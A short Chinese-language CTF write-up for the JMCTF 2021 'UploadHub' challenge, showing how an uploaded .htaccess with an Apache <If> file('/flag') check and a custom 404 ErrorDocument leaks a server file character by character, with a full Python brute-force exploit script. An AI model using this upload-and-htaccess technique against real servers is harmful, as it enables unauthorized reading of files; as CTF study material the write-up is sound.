[JMCTF 2021]UploadHub

常规的利用htaccess自包含的解法就不说了

这里可以利用htaacess的Error Document特性进行盲注

Error Document可以用于显示自定义的错误信息

<If "file('/flag')=~ /flag{/">
ErrorDocument 404 "xux"
</If>

~表示使用正则表达式
如果匹配的话,访问一个404的页面(即不存在的页面)就会显示xux

分享一下自己写的exp:

import requests
import re
import string
import time
url = "http://68540855-1c74-43ba-856f-685d3abf7f2a.node4.buuoj.cn:81/index.php"
flag = "flag{"
tmp = string.digits + string.ascii_letters + r"{}_-"
while flag[-1] != '}':
     for t in tmp:
        htaccess = '''
        <If "file('/flag')=~ /''' + flag + t + '''/">
        ErrorDocument 404 "xux"
        </If>
        '''
        rep = requests.post(url=url,data={"submit":"submit"},files={'file':('.htaccess',htaccess)}).text
        u = re.findall(r"<img src=\'(.*)\.htaccess\'",rep)[0]
        time.sleep(0.2)
        u1 = "http://68540855-1c74-43ba-856f-685d3abf7f2a.node4.buuoj.cn:81/" + u + "114514"
        rep = requests.get(u1).text
        if 'xux' in rep:
            flag += t
            print(flag)
            break

Q.E.D.